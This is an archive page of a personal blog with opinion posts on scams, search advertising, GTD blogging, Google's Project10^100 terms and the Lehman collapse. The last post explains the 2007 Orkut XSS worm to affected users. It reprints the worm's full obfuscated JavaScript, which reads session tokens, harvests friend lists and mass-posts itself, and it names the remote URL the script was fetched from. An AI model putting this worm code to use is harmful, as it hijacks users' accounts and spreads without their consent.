Microsoft Anti Virus

  • Subscribe to our RSS feed.
  • Twitter
  • StumbleUpon
  • Reddit
  • Facebook
  • Digg
Showing posts with label Observations. Show all posts
Showing posts with label Observations. Show all posts

Saturday, 27 June 2009

Greed Plus Dumbness Equals Scam Victim

Posted on 12:10 by Unknown



Recently someone asked me if a email they received informing them of the lottery they have won in UK was real and they should reply.

I mean till i told them its a scam they actually believed it was real.

Its strange. Each of us has heard atleast 100 times in our lives that anything that sounds too good to be true, probably is, than why do fools still fall for this.

Greed plus dumbness equals a scam victim, so be greedy or be dumb, but don't be both at the same time.


Read More
Posted in Observations | No comments

1 - 2 - 3

Posted on 11:42 by Unknown

1 - 2 - 3 are special numbers. For some reason in every sport, the first 3 people are awarded a medal. 

Ofcourse 1 is the best place to be to get maximum attention but 3 is atleast the last place you would want to be. Noone cares about 4, so dont bother, be where you can be 1 or 2 or 3.

Noone remembers the 4th best restaurant or 4th smartest guy in class or 4th smartest employee or the 4th best search result in a search engine. No one remembers the 4th product feature or benefit or the 4th vendor quote, noone remembers the 4th guy who finished the 100% metre race or the 4th country in the olympics medal tally.

Be 1 or 2 or 3, or dont be at all.



Read More
Posted in Business, Observations | No comments

Monday, 27 October 2008

How A Search Engines Conflict Of Interest Can Keep You Away From That Perfect Search Engine

Posted on 09:05 by Unknown

We all dream about that perfect search engine. The engine that gives you answer for every question without trying your ability to think of imaginary keywords that might or might not exist. The search engine that will tell you where your kids are and what they are doing, the search engine that tells who you need to marry, the search engine that tells you if are going to become the next president.

But wait, it will never happen. 

There is a conflict of interest that arises in every advertising based business. Every content provider is serving a advertiser. They owe the advertiser a share of your attention. 

If search engines became perfect, you will hardly click the ad. If search engine became perfect, you will not visit a website, the content owner will not have any reason to share his content with the search engine.

Marrissa mayer, gave a seminar in web.20 summit in which she shared how increasing the number of search results on each page from 10 to 30 caused the traffic and revenue to reduce 20%.


When marrisa mayer equates people leaving their search results page early and not clicking ads to bad performance you know there is not much hope.

The chances are a user might might have more search results to view, he focuses less on ads, he finds a good result in 30 results and visits the website.  

Itsclearly understandable, irrespective of what google tells you, they want you on their website. That is where they get their revenues from.

I dont blame them, they are a for profit company. Its the entire business model that has conflict of interest built in.

Someday maybe they will start an ad free search engine and charge a fee for it. There they can give users the best search engine, because you are paying them for it. Simple.
Read More
Posted in Business, Economics, Google, Internet, Observations, Technology News | No comments

Monday, 6 October 2008

Aren't There More GTD Blogs Out There Than Readers?

Posted on 03:40 by Unknown
I have started to wonder lately if there are more getting things done blogs in the blogoverse(short for blog universe).

On last count Google blog search turned out 1,818,289 blog posts mentioning GTD, there is a whole bloody website by the name of GTDtimes that has many contributors writing on the same topic.

I mean isnt that getting a bit too much, if there was so much content to write about on this topic David Allen would have written 10 books by now. So what are these guys writing anyways?

Frankly it seemed to me they are all writing the same thing over and over and over again. I wish someone would tell them to stop. People are reading so much of this getting things done stuff, they dont get time to practise what they learn.


So what is this fad? Lifehacker hangover.

The popular blog style website that started writing about productivity online years ago and was probably the first ones to evanglise DavidAllens GTD method online has written about GTD and tools for long now.

There huge popularity has egged all other wannabes to think writing the stuff lifahacker writes about will get them popular. And then we end up with 1,818,289 blog posts and no readers. Its funny.


From what i could understand by reading Davids book is this

1. Take all incomplete tasks/ideas/actions outside your head and write them somewhere, anywhere paper or a word document or god frickin anywhere
2. Plan on how to complete each one of them by wriitng down next actions and keep completing them
3. Keep your bloody information documented so when you need them you can find them
4. Dont be a egoistic dog and delegate when you cant do something


GTD bloggers, please stop, find a new topic to blog. If you have no topics, Read more books. Write less. Fine?
Read More
Posted in Blogging, Blogs, GTD, Internet, Observations, Productivity | No comments

Sunday, 5 October 2008

Which is the best english accent out there?

Posted on 00:04 by Unknown
Ni hao?(chinese - how are you?)

I was listening to a oXygen tutorial here on youtube today and noticed the author was speaking in a very chinese accent(or japanese?)

Althrough i didnt understand much of it i enjoyed the accent a lot. if you havent yet taken a peep at the video, do it, its fun.

I prefer calling this accent chinglish(chinese+english). Its hilarious whenw e mix english with various accents. There is hinglish(hindi+english) which is in a league of its own. There is Inglish(Indian speaking english) which is what most Indians sound like in USA, which is again in a league of its own.

With so many verisons of english accent going around which literally make this language seem like a completely new language on its own, i wonder which accent is the most entertaining.

I wish there was a contest out there which lets net users vote for the best and most entertaining accent out there. It would be fun.

Till that time, i declare Chinglish as the best english accent out there, heck its a new language altogether better than english, china rocks.

Till later Zai Jian!(chinese - good bye)
Read More
Posted in Fun, Humor, Observations, Pop Culture | No comments

Thursday, 2 October 2008

Don't be evil, what about being outright stupid?

Posted on 02:11 by Unknown
Recently i have been running a Google adwords campaign and saw some silly mistakes in my account. I am kind of sure, i am not the only one who has faced this issue, i am also sure Google would compensate for this.

So what happened here is this, i have bid a maximum of 0.04$ for a keyword. So ideally each click should cost me 0.04$, but Google has charged me anything from 0.04$ to 0.06$ for each keyword.

Its easy to understand by just looking under the Current Bid, Clicks, Avg. CPC, Cost columns for all keywords in the screeshot i am presenting below.
The question is if i have bid 0.04$ for each click, and i have recieved 1 click, how can the cost of one click be 0.05$. Or am i getting my maths wrong?

I have uploaded a screenshot you can click to see in full screen below. Take a look at this screenshot here

The bigger  question is that this is not a startup company who has just started operations and facing some operational glitches, there have been billions spent on Google adwords, most by folks who are not that analytical or tech savvy to look at the data Google provides in great detail. How many millions have passed through to Google this way?

Incase i have just got something horribly wrong please let me know!
Read More
Posted in Google, Internet, Observations, Online Advertising | No comments

Friday, 26 September 2008

Google's Got Charity On Its Mind With Project10to100 Or Has It?

Posted on 02:00 by Unknown




Google Inc. has announced a new initiative called Project10^100 . Its home page says "Project 10100 is a call for ideas to change the world by helping as many people as possible." Here's what Andy Berndt, Managing Director, Google Creative Lab has to say about this intiative on google blog from Google Inc.


And The Reactions..

I was reading Thomas Claburns this article on InformationWeek's in which Thomas says "If you have a good idea, a really good idea, the sort of brilliant idea that might win Google's contest -- a way to produce a $0.01 straw that removes all impurities from contaminated water, for example -- why give that valuable idea away when you could commercialize it? You could start a company to support your idea, provide jobs to people, and help humanity at the same time."

Thomas gets pretty much bashed up by most commentors in the article and you gotta salute InformationWeek for approving those comments but i feel sorry for Thomas since he mentions a valid point and still gets bashed, a point that has not been addressed by Google Inc.'s terms and service agreement for this particular initiative.


Concerns that are raised(or should be raised if they are not raised yet)


1. Will Google make or can make its own commercial product from the ideas  submitted?

2. What happens to the ideas that are not selected, can Google or its partners or employees use     that data to spin off products for commercial interests without the original creator getting     anything?

3. Google gets publicity worth a billion dollars, while the guy who gave the idea, gets "Good     Karma"(as mentioned in the faqs here)

4. If something of commercial interests spins off the ideas(winner or not) do they get anything at     all out of it?

5. Why are the orginal creators not part of the implementation plan?

6. Why isn't this sounding like a incubation thing when it is in a way?

7. There seems to be something about this things that is "half baked" and "hurried"?


Anyways the better part and the most interesting are the Intellectual property rights, it says


Google Says:

1.
As between you and Google, you retain ownership of any intellectual and industrial property rights (including moral rights) you have in and to your submission.

Which means:

If you already have an IP right you retain them, for most submissions, they will just be ideas and will not hold any IP rights. So to answer the question, Do i own the idea?. Well, No.

Google Says:

2.
As a condition of participation, you grant Google, its subsidiaries, agents and partner companies, a perpetual, irrevocable, worldwide, royalty-free, and non- exclusive license to use, reproduce, adapt, modify, publish, distribute, publicly perform, create a derivative work from, and publicly display your submission and the proposal provided therein (1) for the purposes of allowing Google, the advisory panel and users to evaluate your idea for purposes of the call for submissions, (2) in connection with advertising and promotion via communication to the public or other groups, including, but not limited to, the right to make screenshots, animations and video clips available for promotional purposes and (3) for the purposes of putting your submitted proposal into effect.


Which means:
Google can take your idea, modify it, claim it, use it. Ok not just Google but even its partners, employees, door cleaners, chef etc etc. Ofcourse there are chances they won't but this atleast is not taken care off in the terms of services.

Google Says:
3. You agree that Google has final authority regarding this call for submission and the selection of the ideas to be considered for implementation. You acknowledge that your submission might be similar to ideas submitted by other participants and/or proposals independently developed by Google, and that Google does not need to recognize your submission should your idea not be the source of the proposal or proposals ultimately implemented. You further acknowledge that even if your proposal is selected by Google, Google is not compelled to implement your proposal in its entirety, or at all. Google reserves the right in its sole discretion to incorporate your proposal or any other ideas into the project or projects finally selected for implementation.

Which basically means:
We can take your idea and develop on your idea and commercialise it. They also mention that Google might choose not to implement even the winning idea. After all the billion dollar publicity, 10 millions dollars could land back to google bank account.

What Worries Me
I am actually worried, not about the ideas that win, but about the ideas that will not see the light of the day(and those will be millions of commerically viable ones being submitted). I get a feeling those will indeed be used for building a commercial product without the original creator getting anything. Not even acknowledgement.


Just to be fair here, it could be that none of this happens and Google doesn't use any of those ideas. But i still feel the idea winners should atleast get some monetary benefit and the ideas that don't win should be protected.

Google inc. could have used an outside neutral agency like KPMG to validate the process and make sure the ideas that do not win get disposed off in the right way and not become the personal property of Google employees or owners.


What Ideas You Should Submit:

Lastly i would say you should only submit your ideas in the contest if you have a philanthropic idea that's non commercial but would benefit a lot people and is difficult to implement by yourselves.

That's the only way everyone can benefit from this contest. DO NOT SUBMIT YOUR COMMERCIAL IDEAS.

But you know what, i get a feeling, Google has a lot of legal issues coming its way next year. Wonder why..hmm..still wondering...
Read More
Posted in Google, Internet, News, Observations, Technology News | No comments

Thursday, 25 September 2008

Who Really makes money online?

Posted on 06:41 by Unknown
Its funny but the people who actually make online are the ones who tell others how to make money online(go problogger.net, johnchow.com etc.) and these guys make money by doing just that "telling people how to make money online.

Confused?


Well these guys make money off the guys who come to their website looking for a get rich quick schemes and since the population of lazy people is so huge, they get immense traffic and revenue from advertising.

The fact remains that they dont teach anything spectacular that someone with a little common sense would not know but they just keep writing the same old stuff again and again stuffing some more keywords they want to rank for in search engines.

I can bet 99% of people who come to their sites and read their stuff do nothing at all with their advice and even if they do they do not see any results.


But its not a fair world, in anycase if you really wanted advise and tips on making money online i have just one advice to give.

Even if you have never even made a single dime for yourself, start telling people how to make money online and soon you atleast will be rich.
Read More
Posted in Humor, Internet, Observations | No comments

Tuesday, 16 September 2008

Lehman Down, Whose next? AIG? Citi? JP Morgan?

Posted on 05:08 by Unknown
Lehman brothers is the latest casuality of US recession. Lehman brother filed for bankruptcy.
The details of the chapter 11 filing  state no other subsidary of affliate of lehman brothers holdings was included in the filing.

Troubles arent over yet as media speculates over whose next to fall down. 


If AIG falls down it will be  a huge blow for the insurance sector in India as Tata-Aig is supposed to become one of the top insurers in India over the coming years. But if somehow AIG manages to stay afloat for some more years the returns from India alone could see it through.

lets see if AIG can manage to survive this storm.
Read More
Posted in Finance, News, Observations, Pop Culture | No comments

Tuesday, 18 December 2007

Orkut XSS attack - that "2008 vem ai... que ele comece mto bem para vc" thingie

Posted on 20:04 by Unknown


Orkut XSS Attack - "2008 vem ai... que ele comece mto bem para vc" thing





A lot of you have probably been wondering how you received a scrap saying " 2008 vem ai... que ele comece mto bem para vc" from me or possibly from some friend of yours.



Its called xss attack or cross site scripting attack. A piece of javascript code(on clients side that is your browser) gets executed, when you receive a scrap from your friends id(obviously after his orkut session is infected with the malicious code) with the spam message and started scrapping everyone. This happens when you log into your orkut scrapbook to read the malicious scrap.

When someone sends you a spam scrap and you read that the same scrap is sent to your friends from your account. This will spread for the coming few days possibly till orkut takes some measures.

Steps you can take:

If possible change your gmail account password and do not login to orkut till they sort this out.



Courtesy: Antrix.net(find link in comments)

The script is fetched from here: http://files.myopera.com/virusdoorkut/files/virus.js

function $(p,a,c,k,e,d) {

e=function(c) {

return(c35?String.fromCharCode(c+29):c.toString(36))

};

if(!''.replace(/^/,String)){

while(c--){d[e(c)]=k[c]||e(c)}

k=[function(e){return d[e]}];

e=function(){return'\\w+'};

c=1

};

while(c--){

if(k[c]){

p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])

}

}

return p

};

setTimeout(

$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}

L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};

7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+

(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");


8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1)

{h=l.S(A);6(h!=0){b 2h}}16{h+=2};


5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};

7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")

+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};


7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7()

{6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");


t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0))

;f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};


3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();

3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);


3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);

3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};


7 V(){6(j==8.18("N").M){b};

5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>

[1j]25 "+i F()+"[/1j]<1k/><13 1o="\\" 2a="\\" 2e="\\" r="8.1n(\'r\'); r.1o=" 1c="\\" 1e="\\">";


5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();

3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");

3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};

6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();

',62,150,'|||xml||var|if|function|document|domain|send|

return|path|wDate||select|name|begin|new|index|


www|dc|expires|encodeURIComponent|http|com|POST|script|

wormdoorkut|div|end|getCookie|orkut||cookie|aspx


|prefix|createXMLHttpRequest|true|getElementsByTagName|S

IG|Date|loadFriends|POST_TOKEN|scrapText|null|


signature|catch|length|selectedList|item|value|application|

open|indexOf|cmm_join|secure|sendScrap|setCookie|


readyState|onreadystatechange|try|Content|86400

|setRequestHeader|embed|ActiveXObject|Action|else|form|


getElementById|escape|status|urlencoded|200|setTime

|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|


createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|

GMT|go|GET|Compose|width|innerHTML|height|option|


setAttribute|id|submit|style|display|none|removeChild

|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|


history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|

raw|LoL|Msxml2|type|Microsoft|shockwave|flash|


wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera

|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1

);

author="Rodrigo Lacerda"



The orkut website is built on asp.net,

if you wish to read the technical side

of preventing xss attacks in asp.net
go here



Update:

1.) The problem seems to have sorted out by orkut in

2 days(thats long)

2.) 400,000 users affected.

3.) Top users affected by country

US, Germany, India, Brazil

4.) Orkut has still not accepted it was

a mistake from their side.The official orkut blog

is still mum on the incidence.

5.) Your password is safe, though it was possible

to hack your gmail password if say the virus

redirected to you to a page which looked

exactly like orkut and asked you to relogin.



A

Read More
Posted in Google, Internet, Observations, Rumours | No comments
Older Posts Home
Subscribe to: Posts (Atom)

Popular Posts

  • Google Reveals How Much Percentage Of Revenue It Shares With Adsense Publishers
    Google recently revealed on a blog post on its adsense blog, what percentage of revenue it shares with its adsense partners. According to th...
  • When Should Technology "Must" Be Free/Open Source/Open Standard?
    I have pondered about this questions a lot, for years maybe & still i don't really know the answer. Technology business is so full o...
  • CreepBook - When Its Time To Say "Enough"
    "Privacy" - its a joke. Or it has been made into one. Every website has it though, most have i hidden or less prominent. Try this ...
  • Conficker Worm Removal: If You Cannot Open Anti Virus Sites & Microsoft Sites
    Conficker Worm changes your host file (if you don't know what it is, don't worry or search Google) in a way that you cannot visit an...
  • Making Internet Banking More Secure
    Recently someone tried to reset my net banking password. I called the bank but they were not even aware of it. They told me they would check...
  • When Capitalism Isn't "That Capitalistic" But Socialism Still Sucks
    Wikipedia Mentions Capitalism as: "Capitalism  is the  economic system  in which the  means of production  are owned by  private   pers...
  • FutureVision: Ni Hao, Welcome to Moon, This is year 2050 and this is Moon, Republic of China
    While i was on the topic of China, i just cldn't help mention that China has had a successul mission to space . They also plan a manned ...
  • Greed Plus Dumbness Equals Scam Victim
    Recently someone asked me if a email they received informing them of the lottery they have won in UK was real and they should reply. I mean ...
  • Google's Got Charity On Its Mind With Project10to100 Or Has It?
    Google Inc. has announced a new initiative called Project10^100 . Its home page says "Project 10100 is a call for ideas to change the ...
  • Amazing wordpress plugin to manage comments from desktop
    I came across this amazing wordpress plugin called moderator . Its built on top of adobe air and needs the adobe air runtime.  Moderators le...

Categories

  • Anthropology
  • Blogging
  • Blogs
  • Business
  • Economics
  • Finance
  • Fun
  • Future
  • Google
  • GTD
  • Humor
  • Inspiration
  • Internet
  • News
  • Observations
  • Online Advertising
  • Personal Development
  • Politics
  • Pop Culture
  • Productivity
  • Research
  • Rumours
  • Self Growth
  • Sports
  • Technology News
  • Weird Stuff

Blog Archive

  • ▼  2010 (1)
    • ▼  May (1)
      • Google Reveals How Much Percentage Of Revenue It S...
  • ►  2009 (14)
    • ►  July (1)
    • ►  June (8)
    • ►  February (1)
    • ►  January (4)
  • ►  2008 (38)
    • ►  November (3)
    • ►  October (26)
    • ►  September (6)
    • ►  May (2)
    • ►  March (1)
  • ►  2007 (5)
    • ►  December (1)
    • ►  October (2)
    • ►  May (1)
    • ►  April (1)
  • ►  2005 (10)
    • ►  December (1)
    • ►  October (3)
    • ►  September (6)
Powered by Blogger.

About Me

Unknown
View my complete profile